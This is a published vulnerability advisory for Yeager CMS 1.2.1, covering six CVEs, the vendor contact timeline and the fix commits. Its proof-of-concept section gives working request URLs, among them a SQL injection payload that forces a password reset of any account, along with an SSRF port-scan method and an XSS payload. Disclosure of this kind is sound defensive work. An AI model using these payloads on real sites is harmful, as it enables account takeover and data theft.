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SEC Consult Vulnerability Lab Security Advisory < 20160210-0 > ======================================================================= title: Multiple Vulnerabilities product: Yeager CMS vulnerable version: 1.2.1 fixed version: 1.3 CVE number: CVE-2015-7567, CVE-2015-7568, CVE-2015-7569, CVE-2015-7570 , CVE-2015-7571, CVE-2015-7572 impact: Critical homepage: http://yeager.cm/en/home/ found: 2015-11-18 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- Yeager is an open source CMS that aims to become the most cost/time-effective solution for medium and large web sites and applications. Business recommendation: ------------------------ Yeager CMS suffers from multiple vulnerabilities due to improper input validation and unprotected test scripts. By exploiting these vulnerabilities an attacker could: 1. Change user's passwords including the administrator's account. 2. Gain full access to the Yeager CMS database. 3. Determine internal servers that inaccessible from the Internet. 4. Attack other users of the Yeager CMS with Cross-Site Scripting. SEC Consult recommends not to use this software until a thorough security review has been performed by security professionals and all identified issues have been resolved. Vulnerability overview/description: ----------------------------------- 1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568) 2. Post-authentication Blind SQL Injection (CVE-2015-7569) 3. Unauthenticated Arbitrary File Upload (CVE-2015-7571) 4. Unauthenticated Server-side Request Forgery (CVE-2015-7570) 5. Non-permanent Cross-site Scripting (CVE-2015-7572) Proof of concept: ----------------- 1. Unauthenticated Blind SQL Injection (CVE-2015-7567, CVE-2015-7568) http://<host>/yeager/?action=passwordreset&token=<SQL Injection> http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70 &data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"<SQL Injection>"}}] The vulnerability can also be used for unauthorized reset password of any user. In order to reset a specific user's password, an attacker will need to provide a valid email address of the user that he wants to attack. The email can be retrieved by either social engineering or using the aforementioned unauthenticated SQL injection vulnerability. http://<host>/yeager/y.php/responder?handler=recoverLogin&us=sess_20000&lh=70&d ata=["noevent",{"yg_property":"recoverLogin","params":{"userEmail":"<victim@ema il.com>","winID":"1"}}] The above URL just simply creates and sends a reset password token to the user's email. Next, even if attacker does not know the token, manipulating SQL commands allows to force to set the new password instantly. Note that new password MUST be at least 8 characters in length and must contain both letters and numbers. http://<host>/yeager/y.php/responder?handler=setNewPassword&us=sess_20000&lh=70 &data=["noevent",{"yg_property":"setNewPassword","params":{"userToken":"'+or+ui d=(select+id+from+yg_user+where+login='<victim@email.com>')+limit+1--+-","userP assword":"<new-password>","winID":"1"}}] 2. Post-authentication Blind SQL Injection (CVE-2015-7569) http://<host>/yeager/y.php/tab_USERLIST POST Data: win_no=4&yg_id=2-user&yg_type=user&wid=wid_4&refresh=1&initload=&us=sess_16000& lh=325&pagedir_page=2&pagedir_perpage=1&pagedir_orderby=<SQL Injection>&pagedir_orderdir=4&pagedir_from=5&pagedir_limit=6,7&newRole=1 3. Unauthenticated Arbitrary File Upload (CVE-2015-7571) A publicly known Arbitrary File Upload vulnerability of Plupload was found in Yeager CMS. Fortunately, to successfully exploit the vulnerability requires PHP directive "upload_tmp_dir" set to an existing directory and it must contain the writable directory "plupload". By default, the PHP directive "upload_tmp_dir" is an empty value. As a result, the script will attempt to upload a file to /plupload/ instead which generally does not exist on the filesystem. http://<host>/yeager/ui/js/3rd/plupload/examples/upload.php 4. Unauthenticated Server-side Request Forgery (CVE-2015-7570) http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite.php http://<host>/yeager/libs/org/adodb_lite/tests/test_datadictionary.php http://<host>/yeager/libs/org/adodb_lite/tests/test_adodb_lite_sessions.php The parameter "dbhost" can be used to perform internal port scan using time delay measurement. An attacker can provide internal IP address and port number, for example, 10.10.0.1:22. The attacker then compares time delays from multiple responses in order to determine host and port availability. 5. Non-permanent Cross-site Scripting (CVE-2015-7572) A previously published XSS vulnerability of Plupload was found in Yeager CMS. http://<host>/yeager/ui/js/3rd/plupload/js/plupload.flash.swf?id=\%22%29%29;}ca tch%28e%29{alert%28/XSS/%29;}// Vulnerable / tested versions: ----------------------------- The vulnerabilities have been tested on Yeager CMS 1.2.1 URL: http://yeager.cm/en/download/package/?v=1.2.1.0.0 Vendor contact timeline: ------------------------ 2015-12-07: Contacting vendor through office@nexttuesday.de, contact@yeager.cm 2015-12-07: Established secure communication channel 2015-12-07: Sending advisory draft 2015-12-10: Yeager CMS 1.2.2 released for security fixes 2015-12-22: Yeager CMS 1.3 released for security fixes 2016-02-10: Public advisory release Solution: --------- The vulnerability has been fixed in Yeager CMS 1.3 and later. https://github.com/ygcm/yeager/commit/74e0ce518321e659cda54f3f565ca0ce8794dba8# diff-4200a6e704ae66ada32f35f69796cc71 https://github.com/ygcm/yeager/commit/053a3b98a9a3f4fd94186cbb8994de0a3e8d9307 Workaround: ----------- No workaround available. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Bangkok - Berlin - Frankfurt/Main - Montreal - Moscow Singapore - Vienna (HQ) - Vilnius - Zurich About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2015 |
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